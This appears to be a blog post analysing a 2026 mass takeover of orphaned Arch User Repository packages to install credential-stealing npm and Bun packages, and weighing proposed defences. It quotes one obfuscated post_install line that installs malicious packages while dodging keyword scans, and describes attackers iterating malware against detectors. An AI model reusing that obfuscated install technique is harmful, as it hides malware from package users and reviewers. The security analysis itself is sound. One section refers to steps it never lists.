Someone decided to see how far they could push the Arch User Repository's trust model. The answer: pretty far. Over 1,500 packages got hit in a sustained attack that started in late May 2026, and the Arch maintainers spent days playing Whac-A-Mole trying to contain it.

This is the biggest supply chain incident the AUR has ever seen, and it raises questions I don't think the Linux community has good answers for yet.

How the AUR works (and why it's fragile)

Arch Linux has official repositories. Packages there are reviewed by maintainers, built in controlled environments, and distributed as binaries through pacman. Those are solid. The AUR is something else entirely.

The AUR is a community repository with more than 107,000 packages. Anyone with an account can upload PKGBUILD files, which are recipes that tell your system how to build software from source. There is no review process. No vetting. No approval step. When you install something from the AUR using a helper like yay or paru, you are running a stranger's build instructions on your machine. The AUR's own disclaimer says the packages are "completely unofficial and have not been thoroughly vetted" and that "any use of the provided files is at your own risk."

In theory, users read every PKGBUILD before building. In practice, almost nobody does, especially during routine upgrades. I know I don't. You type yay -Syu, hit enter, and go get coffee. The trust model assumes a level of vigilance that doesn't survive contact with how people actually use computers.

The attack

This wasn't the first time someone abused the AUR. In 2018, three packages were modified to include data-harvesting malware. In July 2025, three -bin packages for web browsers were uploaded with remote-access trojans. A second attempt that same month, a malicious google-chrome-stable package, was caught quickly. Those were small scale.

What happened in May 2026 was different in magnitude. The attacker (or attackers) created batches of new accounts, adopted orphaned packages, and pushed malicious updates. On May 27, Fabio Loli reported that plex-media-player had been changed to install a malicious npm package called crypto-javascript. The PKGBUILD had been orphaned, then picked up by a brand-new account. Several new packages with similar names were also uploaded by fresh accounts, all trying to install the same malicious npm package.

On June 11, Mark Wagie reported that a new maintainer had adopted gnome-randr-rust and modified the PKGBUILD to add npm as a dependency, then used it to install a malicious package called atomic-lockfile. The attacker also replaced email addresses of prior maintainers in the contributor stanzas, but left the names. Subtle enough to not raise flags at a glance.

The Sonatype blog analyzed the payload. It included an eBPF program that went after GitHub credentials, SSH keys, browser cookies, and chat app data from Slack and Discord. This was not a prank. It was credential theft, designed to run quietly and phone home.

Unlike the 2025 attacks that hit a handful of packages, this campaign went after hundreds of orphaned packages. In total, more than 1,500 packages are known to have been affected, according to Jonathan Grotelüschen, one of Arch's Package Maintainers. Only about 20 were newly created packages; the rest were orphans adopted by the attacker.

Evasion tactics

The Arch maintainers shut down new user registration on June 11, then re-enabled it after adding Anubis (an anti-bot challenge) to slow mass account creation. That didn't work. Registration got disabled again on June 12.

On June 13, a new wave hit, this time from four accounts created before the registration shutdown. The attacker had adapted. They switched from npm to the Bun package manager to install malicious packages, then obfuscated the bun install command to dodge simple pattern scans:

# post_install() {
#   $'\x63'"d" "/"'t'"m"'p' && "b"'u''n' 'a'"d"'d' $'\141\x6e''s'"i""-"$'\143''o''l''o''r'$'\x73' 'n'"e"'x'"t""f"'i''l''e''-''j''s'
# }

That line decodes to bun add ansicolors nextfile-js. It evades scripts scanning for the strings "npm" or "bun." Whether it would fool an actual human reading the PKGBUILD is another question. But remember: almost nobody reads PKGBUILDs during upgrades.

Why other repos dodge this

Arch isn't the only distribution with user-submitted package repos. Fedora has Copr, openSUSE has the Open Build Service, and Ubuntu has Personal Package Archives. But those services differ in one important way: they build packages in controlled environments, don't allow pre-built binaries, and each package lives under its maintainer's namespace. You can't just adopt someone else's orphaned repo and inherit all its users.

On Copr, if you want niri (a Wayland compositor), you specifically enable Ivan Molodetskikh's repository. Another user can create a similar project under their own namespace, but they can't take over Molodetskikh's. The AUR's flat namespace, where anyone can adopt any orphaned package under the shared AUR banner, makes this kind of takeover possible.

The -bin packages make things worse. These are PKGBUILDs that download prebuilt binaries rather than building from source. Installing a -bin package from the AUR means you are trusting the maintainer not to serve you malware in binary form, with no way to audit what the binary actually does. The AUR allows proprietary software too, which is unlikely to come with source you can inspect.

The fixes people are arguing about

As of mid-June, AUR registration is still disabled. Grotelüschen acknowledged that "we keep the AUR as clean as we can, but at the scale of the AUR, our chance at catching absolutely everything is very small." He noted that the official repositories were unaffected and that the AUR has always come with a "use at your own risk" disclaimer.

That policy is technically consistent but falls apart in the real world. Users treat the AUR like just another repo. Telling them they should have read the PKGBUILD is like telling someone they should have checked their brake lines before driving to work. True, but not helpful after the crash.

Several ideas have come up on the AUR mailing list. Lukas Grumlik suggested locking orphaned packages to read-only, requiring a formal request to adopt them. That would slow bot-driven mass takeovers, but Andreas Reichel pointed out it would also discourage casual contributors who fix packages in good faith. He also argued it wouldn't stop a determined attacker: "my LLM Agent has all the time it needs and will write better explanations anyway."

Others want to push defenses into the AUR helpers themselves. Fidel Ramos suggested that paru should display a loud warning when installing a package that was recently orphaned and then adopted. Josephine Pfeiffer opened a merge request to expose the necessary data through the AUR's RPC interface.

Jo Guerreiro, the maintainer of yay, resisted feature creep. He'd received requests to scan for things like npm install patterns, delay updates, or track maintainer changes. His argument: the next wave of malware will simply adjust to evade whatever detection gets added, feeding scan results back into the generation loop as "iterate until it is not detected." He'd rather not implement what he calls "security theater." But yay now shows the last modification time of a PKGBUILD. Recent changes don't mean a package is bad, but they give you a reason to look more carefully.

Thomas Stromberg proposed using Atomdrift, a project that runs "tiny local deterministic AI models, retrained constantly based on recent attacks and threat feeds" to flag suspicious PKGBUILDs. Andreas Reichel built something similar called aurscan, which can use Claude, Codex, or local LLMs. Whether AI scanning actually catches obfuscated attacks better than pattern matching is an open question. I'm skeptical. The attacker's obfuscation was designed to fool pattern matching, but if LLMs become part of the review pipeline, attackers will optimize for that too.

What I'm doing differently

I'm not abandoning the AUR. It's still one of the best things about Arch, and the official repos were never compromised. But I've changed some habits.

These aren't radical steps. They won't make you bulletproof. But they raise the cost of attacking you from "trivial" to "requires some effort," and most supply chain attacks target the path of least resistance.

The bigger problem

The AUR's trust model worked when it was a small community of people who knew each other and actually reviewed each other's build scripts. It doesn't scale to 107,000 packages and 141,000 registered users. The "just read the PKGBUILD" advice was never widely followed, and asking users to do more security work during routine updates is not a strategy that holds up at scale.

The same structural problem exists across the software ecosystem. npm, PyPI, and every other permissive package repository face similar abuse patterns. The AUR just happens to be bigger and more trusted than most. When a package has been installable for years and suddenly changes maintainers, your muscle memory tells you it's fine. The system tells you it's fine. And that mismatch is exactly what the attacker exploited.

The Arch community will figure something out. They usually do. But this incident is a good reminder that "use at your own risk" stops being a reasonable disclaimer when the risk becomes invisible to the people bearing it.